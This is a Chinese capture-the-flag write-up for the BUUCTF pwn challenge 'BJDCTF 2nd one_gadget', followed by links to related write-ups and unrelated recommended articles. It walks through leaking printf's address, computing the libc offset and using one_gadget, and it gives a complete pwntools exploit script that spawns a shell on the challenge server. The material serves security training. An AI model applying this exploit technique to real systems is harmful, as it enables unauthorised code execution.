[BUUCTF]PWN15——[BJDCTF 2nd]one_gadget
[BUUCTF]PWN15——[BJDCTF 2nd]one_gadget
步骤:
 例行检查,64位,保护全开
 
 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one gadget的地址
 
 64位ida载入,shift+f12查看字符串,根据nc看到的字符串,找到关键函数
 
 
 题目一开始输出的是printf函数的地址,题目一开始给了libc,知道了它的内存地址,就能够算出程序的偏移量了
print_addr=0x7fbe7e114830
offset=print_addr-libc.symbols['printf']
print offset

 接下来我们找一下one gadget的地址
 one_gadget  libc-2.29.so

 这边有4个one_gadget可以让我们利用,但是要满足寄存器的条件才能获取shell,会看汇编的可以去看一下哪个满足条件,不会的一个一个试一下(我就属于一个一个试的)
完整 EXP
from pwn import*
r=remote('node3.buuoj.cn',26120)
elf=ELF('onegadget')
libc=ELF('./libc-2.29.so')
r.recvuntil('0x')
print_addr=int(r.recvn(12),16)
offset=print_addr-libc.symbols['printf']
print offset
one_gadget=[0xe237f,0xe2383,0xe2386,0x106ef8]
shell=offset+one_gadget[3]
r.recvuntil('Give me your one gadget:')
r.sendline(str(shell))
r.interactive()
[BUUCTF]PWN15——[BJDCTF 2nd]one_gadget的更多相关文章
- [BUUCTF]PWN12——[BJDCTF 2nd]r2t3
		[BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ... 
- [BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2
		[BJDCTF 2nd]ydsneedgirlfriend2 附件 步骤: 例行检查,64位程序,开启了canary和nx 试运行一下程序,看看大概的情况,经典的堆块的布局 64位ida载入,习惯性的 ... 
- [BUUCTF]PWN——[BJDCTF 2nd]secret
		[BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ... 
- [BUUCTF]REVERSE——[BJDCTF 2nd]8086
		[BJDCTF 2nd]8086 附件 步骤: 首先查壳儿,无壳,直接上ida,检索字符串,程序里就一个字符串 没法f5反编译出伪代码,大致看了一下汇编,start函数之后调用了sub_10030函数 ... 
- [BUUCTF]PWN——[BJDCTF 2nd]r2t4
		[BJDCTF 2nd]r2t4 附件 步骤 例行检查,64位,开启了canary和nx 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626 main函数 可以溢 ... 
- [BUUCTF]REVERSE——[BJDCTF 2nd]guessgame
		[BJDCTF 2nd]guessgame 附件 步骤: 例行查壳儿,64位程序,没有壳儿 64位ida载入,习惯性的检索程序里的字符串,看到了一串类似flag的字符串,拿去提交,成功 BJD{S1m ... 
- [BUUCTF]PWN——[BJDCTF 2nd]test
		[BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ... 
- [BJDCTF 2nd]fake google
		[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ... 
- BUUOJ [BJDCTF 2nd]elementmaster
		[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ... 
随机推荐
- vivo统一告警平台设计与实践
			一.背景 一套监控系统检测和告警是密不可分的,检测用来发现异常,告警用来将问题信息发送给相应的人.vivo监控系统1.0时代各个监控系统分别维护一套计算.存储.检测.告警收敛逻辑,这种架构下对底层数据 ... 
- [cf1290D]Coffee Varieties
			思路 统计数的种类数,也等价于统计有多少个数满足其之前没有与其相同的数 将序列以$\frac{k}{2}$为块大小分块,那么即会有$m=\frac{2n}{k}$个块 (关于$k=1$的情况,以1为块 ... 
- [cf1219G]Harvester
			分类讨论(以下仅考虑行,列的情况):1.4行的,求出每一行的和后找到4个最大值即可:2.3行1列,枚举列,再将每一行最大值减去那一列的值后取3个最大值得和即可:3.2行2列,发现行和列是等价的,因此可 ... 
- [loj3339]美食家
			令$f[i][j]$表示第$i$个时刻走到点$j$的最小时间,暴力的$dp$复杂度为$o(tm)$ 如果没有限制,由于$w\le 5$,记录前5个时刻的状态即可求出当前状态,用矩阵乘法可优化到$o(n ... 
- SpringServletContainerInitializer的代码流程
			SpringServletContainerInitializer 是spring中的一个class实现了servlet3.0规范的一个接口 implements ServletContainerIn ... 
- 感谢 git
			今天对程序大修了一下,顺便把所有算例测试了一遍,突然发现二维浅水方程有些算例出现了明显的错误. 这次突然出现的错误让我有点措手不及,因为一直没有修改过浅水方程求解器,所以这些算例很久没有测试过了.硬着 ... 
- Golang: map类型切片内存分配
			切片ik通过索引访问,然后为每个map分配内存: 切片jk通过获得切片内每个元素的拷贝来分配内存,并未成功为切片内每个map分配内存,使用时赋值也就失败了 1 package main 2 3 imp ... 
- 毕业设计之LNP+DISCUZ +分离的数据库操作
			环境介绍: CentOS6.9最小化安装 https://nginx.org/download/nginx-1.16.1.tar.gz https://www.php.net/distribution ... 
- open 函数小结
			umask 掩码 open 函数的时候需要注意,掩码去反之后和设置的值想与,得到真正的值. 可以在命令行 使用umask 来查询 umask 000 设置掩码 
- (转载) Java多线程技术
			多线程编程一直是学员们比较头痛和心虚的地方,因为线程执行顺序的不可预知性和调试时候的困难,让不少人在面对多线程的情况下选择了逃避,采用单线程的方式,其实只要我们对线程有了明确的认识,再加上java内置 ... 
